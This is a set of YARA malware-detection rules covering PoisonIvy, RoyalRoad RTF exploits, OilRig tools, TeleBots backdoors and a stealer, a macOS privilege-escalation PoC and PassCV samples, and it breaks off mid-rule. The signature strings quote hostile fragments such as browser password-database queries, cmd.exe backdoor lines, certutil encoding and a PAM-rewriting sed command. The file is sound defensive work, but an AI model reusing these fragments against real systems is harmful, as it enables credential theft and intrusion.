rule PoisonIvy_Sample_7
{
	meta:
		description = "Detects PoisonIvy RAT sample set"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		score = 70
		reference = "VT Analysis"
		date = "2015-06-03"
		hash = "9480cf544beeeb63ffd07442233eb5c5f0cf03b3"
		id = "01224053-d95e-5144-981b-76cd7e57e1c3"

	strings:
		$s0 = "Microsoft Software installation Service" fullword wide
		$s2 = "pidll.dll" fullword ascii
		$s10 = "ServiceMain" fullword ascii
		$s11 = "ZwSetInformationProcess" fullword ascii
		$s12 = "Software installation Service" fullword wide
		$s13 = "Microsoft(R) Windows(R) Operating System" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PoisonIvy_RAT_ssMUIDLL
{
	meta:
		description = "Detects PoisonIvy RAT DLL mentioned in Palo Alto Blog in April 2016"
		author = "Florian Roth (Nextron Systems) (with the help of yarGen and Binarly)"
		reference = "http://goo.gl/WiwtYT"
		date = "2016-04-22"
		hash1 = "7a424ad3f3106b87e8e82c7125834d7d8af8730a2a97485a639928f66d5f6bf4"
		hash2 = "6eb7657603edb2b75ed01c004d88087abe24df9527b272605b8517a423557fe6"
		hash3 = "2a6ef9dde178c4afe32fe676ff864162f104d85fac2439986de32366625dc083"
		hash4 = "8b805f508879ecdc9bba711cfbdd570740c4825b969c1b4db980c134ac8fef1c"
		hash5 = "ac99d4197e41802ff9f8852577955950332947534d8e2a0e3b6c1dd1715490d4"
		id = "f2535b70-cf17-5435-9fc8-2dfdf70d95ac"

	strings:
		$s1 = "ssMUIDLL.dll" fullword ascii
		$op1 = { 6a 00 c6 07 e9 ff d6 }
		$op2 = { 02 cb 6a 00 88 0f ff d6 47 ff 4d fc 75 }
		$op3 = { 6a 00 88 7f 02 ff d6 }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 20KB and ( all of ( $op* ) ) ) or ( all of them )
}

rule RoyalRoad_code_pattern1
{
	meta:
		description = "Detects RoyalRoad weaponized RTF documents"
		reference = "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_8_koike-nakajima_jp.pdf"
		date = "2020/01/15"
		author = "nao_sec"
		score = 80
		id = "db2fb24c-df99-5622-ac3d-d31c34481984"

	strings:
		$S1 = "48905d006c9c5b0000000000030101030a0a01085a5ab844eb7112ba7856341231"
		$RTF = "{\\rt"

	condition:
		$RTF at 0 and $S1
}

rule RoyalRoad_code_pattern2
{
	meta:
		description = "Detects RoyalRoad weaponized RTF documents"
		reference = "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_8_koike-nakajima_jp.pdf"
		date = "2020/01/15"
		author = "nao_sec"
		score = 80
		id = "135024ae-9ecf-5691-95ca-96002e500fd5"

	strings:
		$S1 = "653037396132353234666136336135356662636665" ascii
		$RTF = "{\\rt"

	condition:
		$RTF at 0 and $S1
}

rule RoyalRoad_code_pattern3
{
	meta:
		description = "Detects RoyalRoad weaponized RTF documents"
		reference = "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_8_koike-nakajima_jp.pdf"
		date = "2020/01/15"
		author = "nao_sec"
		score = 80
		id = "7bce2fe6-a921-51ec-8b5f-5d7f55ab3864"

	strings:
		$S1 = "4746424151515151505050500000000000584242eb0642424235353336204460606060606060606061616161616161616161616161616161"
		$RTF = "{\\rt"

	condition:
		$RTF at 0 and $S1
}

rule RoyalRoad_code_pattern4ab
{
	meta:
		description = "Detects RoyalRoad weaponized RTF documents"
		reference = "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_8_koike-nakajima_jp.pdf"
		date = "2020/01/15"
		author = "nao_sec"
		score = 80
		id = "b4926888-b576-59f7-932a-03b9326845da"

	strings:
		$S1 = "4746424151515151505050500000000000584242EB064242423535333620446060606060606060606161616161616}1616161616161616161" ascii
		$RTF = "{\\rt"

	condition:
		$RTF at 0 and $S1
}

rule RoyalRoad_code_pattern4ce
{
	meta:
		description = "Detects RoyalRoad weaponized RTF documents"
		reference = "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_8_koike-nakajima_jp.pdf"
		date = "2020/01/15"
		author = "nao_sec"
		score = 80
		id = "c6e8a072-23cd-5f6a-9b4f-57d3e4500d13"

	strings:
		$S1 = "584242eb064242423535333620446060606060606060606161616161616161616161616}1616161" ascii
		$RTF = "{\\rt"

	condition:
		$RTF at 0 and $S1
}

rule RoyalRoad_code_pattern4d
{
	meta:
		description = "Detects RoyalRoad weaponized RTF documents"
		reference = "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_8_koike-nakajima_jp.pdf"
		date = "2020/01/15"
		author = "nao_sec"
		score = 80
		id = "1677dfb4-7611-5bef-87d1-4cec6285791f"

	strings:
		$S1 = "584242eb06424242353533362044606060606060606060616161616161616161616}16161616161" ascii
		$RTF = "{\\rt"

	condition:
		$RTF at 0 and $S1
}

rule RoyalRoad_RTF
{
	meta:
		description = "Detects RoyalRoad weaponized RTF documents"
		reference = "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_8_koike-nakajima_jp.pdf"
		date = "2020/01/15"
		author = "nao_sec"
		score = 80
		id = "366ec9c3-e6ad-5198-88d5-15aa84a8358f"

	strings:
		$S1 = "objw2180\\objh300" ascii
		$RTF = "{\\rt"

	condition:
		$RTF at 0 and $S1
}

rule RoyalRoad_RTF_v7
{
	meta:
		description = "Detects RoyalRoad weaponized RTF documents"
		reference = "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_8_koike-nakajima_jp.pdf"
		date = "2020/01/15"
		author = "nao_sec"
		score = 60
		id = "9d2af980-a851-533a-b25d-ee52277e319c"

	strings:
		$v7_1 = "{\\object\\objocx{\\objdata" ascii
		$v7_2 = "ods0000" ascii
		$RTF = "{\\rt"

	condition:
		$RTF at 0 and all of ( $v7* )
}

rule RoyalRoad_encode_in_RTF
{
	meta:
		description = "Detects RoyalRoad weaponized RTF documents"
		reference = "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_8_koike-nakajima_jp.pdf"
		date = "2020/01/15"
		author = "nao_sec"
		score = 60
		id = "66614152-8f9b-5e62-b6bd-ba0286e66d4d"

	strings:
		$enc_hex_1 = "B0747746"
		$enc_hex_2 = "B2A66DFF"
		$enc_hex_3 = "F2A32072"
		$enc_hex_4 = "B2A46EFF"
		$enc_hex_1l = "b0747746"
		$enc_hex_2l = "b2a66Dff"
		$enc_hex_3l = "f2a32072"
		$enc_hex_4l = "b2a46eff"
		$RTF = "{\\rt"

	condition:
		$RTF at 0 and 1 of ( $enc_hex* )
}

import "pe"

rule Elise_Jan18_1
{
	meta:
		description = "Detects Elise malware samples - fake Norton Security NavShExt.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/blu3_team/status/955971742329135105"
		date = "2018-01-24"
		hash1 = "6dc2a49d58dc568944fef8285ad7a03b772b9bdf1fe4bddff3f1ade3862eae79"
		id = "8e4f4ec8-5d31-5990-8c14-861423571a79"

	strings:
		$s1 = "NavShExt.dll" fullword wide
		$s2 = "Norton Security" fullword wide
		$a1 = "donotbotherme" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 250KB and ( pe.imphash ( ) == "e9478ee4ebf085d1f14f64ba96ef082f" or ( 1 of ( $s* ) and $a1 ) )
}

rule Chafer_Mimikatz_Custom
{
	meta:
		description = "Detects Custom Mimikatz Version"
		author = "Florian Roth (Nextron Systems) / Markus Neis"
		reference = "https://nyotron.com/wp-content/uploads/2018/03/Nyotron-OilRig-Malware-Report-March-2018b.pdf"
		date = "2018-03-22"
		hash1 = "9709afeb76532566ee3029ecffc76df970a60813bcac863080cc952ad512b023"
		id = "80f751c3-d7ca-5ff6-a905-38650e1c4ec5"

	strings:
		$x1 = "C:\\Users\\win7p\\Documents\\mi-back\\" ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 3000KB and 1 of them
}

rule Chafer_Exploit_Copyright_2017
{
	meta:
		description = "Detects Oilrig Internet Server Extension with Copyright (C) 2017 Exploit"
		author = "Markus Neis"
		reference = "https://nyotron.com/wp-content/uploads/2018/03/Nyotron-OilRig-Malware-Report-March-2018b.pdf"
		date = "2018-03-22"
		hash1 = "cdac69caad8891c5e1b8eabe598c869674dee30af448ce4e801a90eb79973c66"
		id = "f78ae4f5-0569-5fc8-ab25-ebe38afd9f3c"

	strings:
		$x1 = "test3 Internet Server Extension" fullword wide
		$x2 = "Copyright (C) 2017 Exploit" fullword wide
		$a1 = "popen() failed!" fullword ascii
		$a2 = "cmd2cmd=" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 700KB and ( 1 of ( $x* ) or all of ( $a* ) )
}

rule Chafer_Portscanner
{
	meta:
		description = "Detects Custom Portscanner used by Oilrig"
		author = "Markus Neis"
		reference = "https://nyotron.com/wp-content/uploads/2018/03/Nyotron-OilRig-Malware-Report-March-2018b.pdf"
		date = "2018-03-22"
		hash1 = "88274a68a6e07bdc53171641e7349d6d0c71670bd347f11dcc83306fe06656e9"
		id = "8db934c3-fb0d-5c87-9096-1ee8fb16f9a5"

	strings:
		$x1 = "C:\\Users\\RS01204N\\Documents\\" ascii
		$x2 = "PortScanner /ip:google.com  /port:80 /t:500 /tout:2" fullword ascii
		$x3 = "open ports of host/hosts" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1000KB and 1 of them
}

rule Oilrig_Myrtille
{
	meta:
		description = "Detects Oilrig Myrtille RDP Browser"
		author = "Markus Neis"
		reference = "https://nyotron.com/wp-content/uploads/2018/03/Nyotron-OilRig-Malware-Report-March-2018b.pdf"
		date = "2018-03-22"
		modified = "2022-12-21"
		hash1 = "67945f2e65a4a53e2339bd361652c6663fe25060888f18e681418e313d1292ca"
		id = "e742ab0c-0e21-569e-a100-e5082dc1d372"

	strings:
		$x1 = "\\obj\\Release\\Myrtille.Services.pdb" ascii
		$x2 = "Failed to notify rdp client process exit (MyrtilleAppPool down?), remote session {0} ({1})" fullword wide
		$x3 = "Started rdp client process, remote session {0}" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 50KB and 1 of them
}

rule Chafer_Packed_Mimikatz
{
	meta:
		description = "Detects Oilrig Packed Mimikatz also detected as Chafer_WSC_x64 by FR"
		author = "Florian Roth (Nextron Systems) / Markus Neis"
		reference = "https://nyotron.com/wp-content/uploads/2018/03/Nyotron-OilRig-Malware-Report-March-2018b.pdf"
		date = "2018-03-22"
		hash1 = "5f2c3b5a08bda50cca6385ba7d84875973843885efebaff6a482a38b3cb23a7c"
		id = "abd34c6a-7d99-5f52-be8e-a7d634d61255"

	strings:
		$s1 = "Windows Security Credentials" fullword wide
		$s2 = "Minisoft" fullword wide
		$x1 = "Copyright (c) 2014 - 2015 Minisoft" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and ( all of ( $s* ) or $x1 )
}

rule Oilrig_PS_CnC
{
	meta:
		description = "Powershell CnC using DNS queries"
		author = "Markus Neis"
		reference = "https://nyotron.com/wp-content/uploads/2018/03/Nyotron-OilRig-Malware-Report-March-2018b.pdf"
		date = "2018-03-22"
		hash1 = "9198c29a26f9c55317b4a7a722bf084036e93a41ba4466cbb61ea23d21289cfa"
		id = "cbc5689c-37ff-59b6-9e3a-7d8577021f70"

	strings:
		$x1 = "(-join $base32filedata[$uploadedCompleteSize..$($uploadedCompleteSize" fullword ascii
		$s2 = "$hostname = \"D\" + $fileID + (-join ((65..90) + (48..57) + (97..122)|" ascii

	condition:
		filesize < 40KB and 1 of them
}

rule HKTL_FRP_Apr20_1
{
	meta:
		description = "Detects FRP fast reverse proxy tool often used by threat groups"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/fatedier/frp"
		date = "2020-04-07"
		modified = "2022-11-03"
		score = 70
		hash1 = "05537c1c4e29db76a24320fb7cb80b189860389cdb16a9dbeb0c8d30d9b37006"
		hash2 = "08c685c8febb5385f7548c2a64a27bae7123a937c5af958ebc08a3accb29978d"
		id = "55483832-0e0b-5c28-8be5-dbd14ddb50e3"

	strings:
		$x1 = "frp/vendor/github.com/spf13/" ascii
		$x2 = "github.com/fatedier/frp/vendor/" ascii
		$fpg2 = "<html"
		$fpg3 = "<HTML"
		$fpg6 = "<?xml"

	condition:
		1 of ( $x* ) and not 1 of ( $fp* )
}

rule HKTL_FRP_INI_Apr20_1
{
	meta:
		description = "Detects FRP fast reverse proxy tool INI file often used by threat groups"
		author = "Florian Roth (Nextron Systems)"
		reference = "Chinese Hacktools OpenDir"
		date = "2020-04-07"
		score = 60
		hash1 = "1dabef3c170e4e559c50d603d47fb7f66f6e3da75a65c3435b18175d6e9785bb"
		id = "5c652c9c-715d-5ba5-821a-3e533b1e78c6"

	strings:
		$h1 = "[common]" ascii
		$s1 = "server_addr =" ascii fullword
		$s2 = "remote_port =" ascii fullword
		$s3 = "[RemoteDesktop]" ascii fullword
		$s4 = "local_ip = " ascii
		$s5 = "type = tcp" ascii fullword

	condition:
		uint16( 0 ) == 0x635b and filesize < 1KB and $h1 at 0 and all of them
}

rule EXP_Libre_Office_CVE_2018_16858
{
	meta:
		description = "RCE in Libre Office with crafted ODT file (CVE-2018-16858)"
		author = "John Lambert @JohnLaTwC / modified by Florian Roth"
		date = "2019-02-01"
		reference = "https://insert-script.blogspot.com/2019/02/libreoffice-cve-2018-16858-remote-code.html"
		hash = "95a02b70c117947ff989e3e00868c2185142df9be751a3fefe21f18fa16a1a6f"
		id = "17a0a569-27bf-57ab-937e-8943442ae604"

	strings:
		$s1 = "xlink:href=\"vnd.sun.star.script:" ascii nocase
		$s2 = ".py$tempfilepager" ascii nocase
		$tag = {3c 6f 66 66 69 63 65 3a 64 6f 63 }

	condition:
		uint32be( 0 ) == 0x3c3f786d and $tag in ( 0 .. 0100 ) and all of ( $s* )
}

rule TeleBots_IntercepterNG
{
	meta:
		description = "Detects TeleBots malware - IntercepterNG"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/4if3HG"
		date = "2016-12-14"
		hash1 = "5f9fef7974d37922ac91365588fbe7b544e13abbbde7c262fe30bade7026e118"
		id = "f4d48eb6-8235-534d-a32f-7f2711b96e9d"

	strings:
		$s1 = "Usage: %s iface_num\\dump [mode] [w] [-gw] [-t1 ip]" fullword ascii
		$s2 = "Target%d found: %s - [%.2X-%.2X-%.2X-%.2X-%.2X-%.2X]" fullword ascii
		$s3 = "3: passwords + files, no arp poison" fullword ascii
		$s4 = "IRC Joining Keyed Channel intercepted" fullword ascii
		$s5 = "-tX - set target ip" fullword ascii
		$s6 = "w - save session to .pcap dump" fullword ascii
		$s7 = "example: %s 1 1 -gw 192.168.1.1 -t1 192.168.1.3 -t2 192.168.1.5" fullword ascii
		$s8 = "ORACLE8 DES Authorization intercepted" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 500KB and 1 of them ) or ( 4 of them )
}

rule TeleBots_KillDisk_1
{
	meta:
		description = "Detects TeleBots malware - KillDisk"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/4if3HG"
		date = "2016-12-14"
		hash1 = "8246f709efa922a485e1ca32d8b0d10dc752618e8b3fce4d3dd58d10e4a6a16d"
		id = "111fc6bc-b790-51b9-81b7-a4716bb0aee9"

	strings:
		$s1 = "Plug-And-Play Support Service" fullword wide
		$s2 = " /c \"echo Y|" fullword wide
		$s3 = "-set=06.12.2016#09:30 -est=1410" fullword ascii
		$s4 = "%d.%d.%d#%d:%d" fullword ascii
		$s5 = " /T /C /G " fullword wide
		$s6 = "[-] > %ls" fullword wide
		$s7 = "[+] > %ls" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 500KB and 4 of them ) or ( 6 of them )
}

rule TeleBots_KillDisk_2
{
	meta:
		description = "Detects TeleBots malware - KillDisk"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/4if3HG"
		date = "2016-12-14"
		hash1 = "26173c9ec8fd1c4f9f18f89683b23267f6f9d116196ed15655e9cb453af2890e"
		id = "7797187f-c94b-5323-ae43-2dc001f0b481"

	strings:
		$s1 = "Plug-And-Play Support Service" fullword wide
		$s2 = " /c \"echo Y|" fullword wide
		$s3 = "%d.%d.%d#%d:%d" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 500KB and all of them )
}

rule TeleBots_CredRaptor_Password_Stealer
{
	meta:
		description = "Detects TeleBots malware - CredRaptor Password Stealer"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/4if3HG"
		date = "2016-12-14"
		modified = "2023-01-06"
		hash1 = "50b990f6555055a265fde98324759dbc74619d6a7c49b9fd786775299bf77d26"
		id = "f594a946-13b4-5179-9029-a0730634d55f"

	strings:
		$s1 = "C:\\Documents and Settings\\Administrator\\Desktop\\GetPAI\\Out\\IE.pdb" fullword ascii
		$s2 = "SELECT encryptedUsername, encryptedPassword, hostname,httpRealm FROM moz_logins" fullword ascii
		$s3 = "SELECT ORIGIN_URL,USERNAME_VALUE,PASSWORD_VALUE FROM LOGINS" fullword ascii
		$s4 = ".\\PAI\\IEforXPpasswords.txt" ascii
		$s5 = "\\Local\\Google\\Chrome\\User Data\\Default\\Login Data" ascii
		$s6 = "Opera old version credentials" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 2000KB and 2 of them ) or ( 4 of them )
}

rule TeleBots_VBS_Backdoor_1
{
	meta:
		description = "Detects TeleBots malware - VBS Backdoor"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/4if3HG"
		date = "2016-12-14"
		hash1 = "eb31a918ccc1643d069cf08b7958e2760e8551ba3b88ea9e5d496e07437273b2"
		id = "2b711f66-8ec5-5b9a-a762-7e6668c821c9"

	strings:
		$s1 = "cmd = \"cmd.exe /c \" + arg + \" >\" + outfile +\" 2>&1\"" fullword ascii
		$s2 = "GetTemp = \"c:\\WINDOWS\\addins\"" fullword ascii
		$s3 = "elseif (arg0 = \"-dump\") Then" fullword ascii
		$s4 = "decode = \"certutil -decode \" + source + \" \" + dest  " fullword ascii

	condition:
		( uint16( 0 ) == 0x6553 and filesize < 8KB and 1 of them ) or ( all of them )
}

rule TeleBots_VBS_Backdoor_2
{
	meta:
		description = "Detects TeleBots malware - VBS Backdoor"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/4if3HG"
		date = "2016-12-14"
		hash1 = "1b2a5922b58c8060844b43e14dfa5b0c8b119f281f54a46f0f1c34accde71ddb"
		id = "151849af-f1d0-529c-94f2-287312f6515e"

	strings:
		$s1 = "cmd = \"cmd.exe /c \" + arg + \" \" + arg2" fullword ascii
		$s2 = "Dim WMI:  Set WMI = GetObject(\"winmgmts:\\\\.\\root\\cimv2\")" fullword ascii
		$s3 = "cmd = \"certutil -encode -f \" + source + \" \" + dest" fullword ascii

	condition:
		( uint16( 0 ) == 0x6944 and filesize < 30KB and 1 of them ) or ( 2 of them )
}

rule TeleBots_Win64_Spy_KeyLogger_G
{
	meta:
		description = "Detects TeleBots malware - Win64 Spy KeyLogger G"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/4if3HG"
		date = "2016-12-14"
		hash1 = "e3f134ae88f05463c4707a80f956a689fba7066bb5357f6d45cba312ad0db68e"
		id = "fd16a198-1b28-532b-a1ba-70680469ec51"

	strings:
		$s1 = "C:\\WRK\\GHook\\gHook\\x64\\Debug\\gHookx64.pdb" fullword ascii
		$s2 = "Install hooks error!" fullword wide
		$s4 = "%ls%d.~tmp" fullword wide
		$s5 = "[*]Window PID > %d: " fullword wide
		$s6 = "Install hooks ok!" fullword wide
		$s7 = "[!]Clipboard paste" fullword wide
		$s9 = "[*] IMAGE : %ls" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 600KB and 1 of them ) or ( 3 of them )
}

rule EXPL_HKTL_macOS_Switcharoo_CVE_2022_46689_Dec22
{
	meta:
		description = "Detects POCs that exploit privilege escalation vulnerability CVE-2022-46689 on macOS"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2022-12-19"
		score = 80
		hash1 = "64acd79a37b6f8443250dd33e95bd933ee39fc6d4f35ba6a987dae878d017386"
		hash2 = "6c2ace75000de8a7e8786f28b1b41eed72816991a0961475c6800753bfe9278c"
		hash3 = "6ce080b236ea3aa3b4c992d12af99445ab800abc709c6abbef852a9f0cf219b6"
		hash4 = "83cc4d72686aedf5218f07e60e759b4849b368975b70352dbba6fac4e8cde72b"
		hash5 = "a7b7fcfd609ff653d32c133417c0d3ffd9f581fb6de05ddbdead4d36cb6e3cc2"
		hash6 = "b2a97edb0ddc30ecc1a0b0c0739820bbef787394b44ab997393475de2ebf7b60"
		hash7 = "c7a64c6da5cf5046ae5c683d0264a32027110a2736b4c1b0df294e29a061a865"
		hash8 = "d517cde0d45e6930336538c89b310d5d540a66c921bf6f6f9b952e721b2f6a11"
		hash9 = "d53a559ea9131fe42eacf51431da3adde5a8fd5c2f3198f0d5451ef62ed33888"
		id = "25c551f7-48ae-5e71-b86e-68fb440262e5"

	strings:
		$x1 = "vm_read_overwrite: KERN_SUCCESS:%d KERN_PROTECTION_FAILURE:%d other:%d" ascii fullword
		$x2 = "Execting: %s (posix_spawn returned: %d)" ascii fullword
		$x3 = "/usr/bin/sed -e \"s/rootok/permit/g\" /etc" ascii fullword
		$x4 = "vm_unaligned_copy_switch_race" ascii fullword
		$s1 = "RO mapping was modified" ascii fullword
		$s2 = "Ran %d times in %ld seconds with no failure" ascii fullword
		$opa1 = { 4c 89 ee 31 c9 41 b8 00 40 00 00 6a 01 41 5c 41 54 6a 03 58 }
		$opa2 = { e8 ?? 01 00 00 48 8b 05 ?? 0? 00 00 8b 38 48 8b 13 44 8b 4b 14 48 83 ec 08 4c 89 ee 31 c9 }
		$opa3 = { 48 89 45 c8 48 8d 43 08 48 89 45 d0 4c 8b 7d c8 4c 8b 6d d0 6a 64 41 5e 80 7b 60 00 }
		$opb1 = { 55 48 89 e5 48 83 ec 60 48 8b 05 ?1 06 00 00 48 8b 00 48 89 45 f8 0f 28 05 ?b 07 00 00 48 8d 75 d0 }

	condition:
		( filesize < 400KB and 1 of ( $x* ) ) or ( ( uint16( 0 ) == 0xfacf or ( uint16( 0 ) == 0xfeca or uint16( 0 ) == 0xfacf or uint32( 0 ) == 0xbebafeca ) ) and filesize < 400KB and 2 of them )
}

rule EXPL_macOS_Switcharoo_Indicator_Dec22
{
	meta:
		description = "Detects indicators found after exploitations of CVE-2022-46689"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/zhuowei/MacDirtyCowDemo"
		date = "2022-12-19"
		score = 65
		id = "d5d9559a-c19c-5ddc-9d72-701986a9d7ac"

	strings:
		$x1 = "auth       sufficient     pam_permit.so" ascii

	condition:
		filesize < 1KB and $x1
}

rule PassCV_Sabre_Malware_1
{
	meta:
		description = "PassCV Malware mentioned in Cylance Report"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://blog.cylance.com/digitally-signed-malware-targeting-gaming-companies"
		date = "2016-10-20"
		hash1 = "24a9bfbff81615a42e42755711c8d04f359f3bf815fb338022edca860ff1908a"
		hash2 = "e61e56b8f2666b9e605127b4fcc7dc23871c1ae25aa0a4ea23b48c9de35d5f55"
		id = "99a26daa-c563-5b23-89b9-965d8ce7229d"

	strings:
		$x1 = "F:\\Excalibur\\Excalibur\\Excalibur\\" ascii
		$x2 = "bin\\oSaberSvc.pdb" ascii
		$s1 = "cmd.exe /c MD " fullword ascii
		$s2 = "https://www.baidu.com/s?ie=utf-8&f=8&rsv_bp=0&rsv_idx=1&tn=baidu&wd=ip138" fullword wide
		$s3 = "CloudRun.exe" fullword wide
		$s4 = "SaberSvcB.exe" fullword wide
		$s5 = "SaberSvc.exe" fullword wide
		$s6 = "SaberSvcW.exe" fullword wide
		$s7 = "tianshiyed@iaomaomark1#23mark123tokenmarkqwebjiuga664115" fullword wide
		$s8 = "Internet Connect Failed!" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 1000KB and ( 1 of ( $x* ) and 5 of ( $s* ) ) ) or ( all of them )
}

rule PassCV_Sabre_Malware_Signing_Cert
{
	meta:
		description = "PassCV Malware mentioned in Cylance Report"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://blog.cylance.com/digitally-signed-malware-targeting-gaming-companies"
		date = "2016-10-20"
		score = 50
		hash1 = "7c32885c258a6d5be37ebe83643f00165da3ebf963471503909781540204752e"
		id = "2b2d1313-6454-5e3f-9b58-5b1a26739ba8"

	strings:
		$s1 = "WOODTALE TECHNOLOGY INC" ascii
		$s2 = "Flyingbird Technology Limited" ascii
		$s3 = "Neoact Co., Ltd." ascii
		$s4 = "AmazGame Age Internet Technology Co., Ltd" ascii
		$s5 = "EMG Technology Limited" ascii
		$s6 = "Zemi Interactive Co., Ltd" ascii
		$s7 = "337 Technology Limited" ascii
		$s8 = "Runewaker Entertainment0" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 3000KB and 1 of them )
}

rule PassCV_Sabre_Malware_2
{
	meta:
		description = "PassCV Malware mentioned in Cylance Report"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://blog.cylance.com/digitally-signed-malware-targeting-gaming-companies"
		date = "2016-10-20"
		hash1 = "475d1c2d36b2cf28b28b202ada78168e7482a98b42ff980bbb2f65c6483db5b4"
		hash2 = "009645c628e719fad2e280ef60bbd8e49bf057196ac09b3f70065f1ad2df9b78"
		hash3 = "92479c7503393fc4b8dd7c5cd1d3479a182abca3cda21943279c68a8eef9c64b"
		hash4 = "0c7b952c64db7add5b8b50b1199fc7d82e9b6ac07193d9ec30e5b8d353b1f6d2"
		id = "dd9eb5f6-9faa-584d-b3b5-6dcfdc3f359c"

	strings:
		$x1 = "ncProxyXll" fullword ascii
		$s1 = "Uniscribe.dll" fullword ascii
		$s2 = "WS2_32.dll" ascii
		$s3 = "ProxyDll" fullword ascii
		$s4 = "JDNSAPI.dll" fullword ascii
		$s5 = "x64.dat" fullword ascii
		$s6 = "LSpyb2" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 4000KB and $x1 ) or ( all of them )
}

rule PassCV_Sabre_Malware_Excalibur_1
{
	meta:
		description = "PassCV Malware mentioned in Cylance Report"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://blog.cylance.com/digitally-signed-malware-targeting-gaming-companies"
		date = "2016-10-20"
		hash1 = "21566f5ff7d46cc9256dae8bc7e4c57f2b9261f95f6ad2ac921558582ea50dfb"
		hash2 = "02922c5d994e81629d650be2a00507ec5ca221a501fe3827b5ed03b4d9f4fb70"
		id = "eadad36c-49c8-50e1-8334-813d2e760fe9"

	strings:
		$x1 = "F:\\Excalibur\\Excalibur\\" ascii
		$x2 = "Excalibur\\bin\\Shell.pdb" ascii
		$x3 = "SaberSvc.exe" wide
		$s1 = "BBB.exe" fullword wide
		$s2 = "AAA.exe" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 2000KB and 1 of ( $x* ) or all of ( $s* ) ) or 3 of them
}

rule PassCV_Sabre_Malware_3
{
	meta:
		description = "PassCV Malware mentioned in Cylance Report"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://blog.cylance.com/digitally-signed-malware-targeting-gaming-companies"
		date = "2016-10-20"
		hash1 = "28c7575b2368a9b58d0d1bf22257c4811bd3c212bd606afc7e65904041c29ce1"
		id = "03e5efc0-6076-501f-a600-b3d9008a8711"

	strings:
		$x1 = "NXKILL" fullword wide
		$s1 = "2OLE32.DLL" fullword ascii
		$s2 = "localspn.dll" fullword wide
		$s3 = "!This is a Win32 program." fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 8000KB and $x1 and 2 of ( $s* ) )
}

rule PassCV_Sabre_Malware_4
{
	meta:
		description = "PassCV Malware mentioned in Cylance Report"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://blog.cylance.com/digitally-signed-malware-targeting-gaming-companies"
		date = "2016-10-20"
		hash1 = "27463bcb4301f0fdd95bc10bf67f9049e161a4e51425dac87949387c54c9167f"
		id = "f182064d-3a91-5a61-aa0f-2ce491a60126"

	strings:
		$s1 = "QWNjZXB0On" fullword ascii
		$s2 = "VXNlci1BZ2VudDogT" fullword ascii
		$s3 = "dGFzay5kbnME3luLmN" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 200KB and 2 of them )
}

rule PassCV_Sabre_Tool_NTScan
{
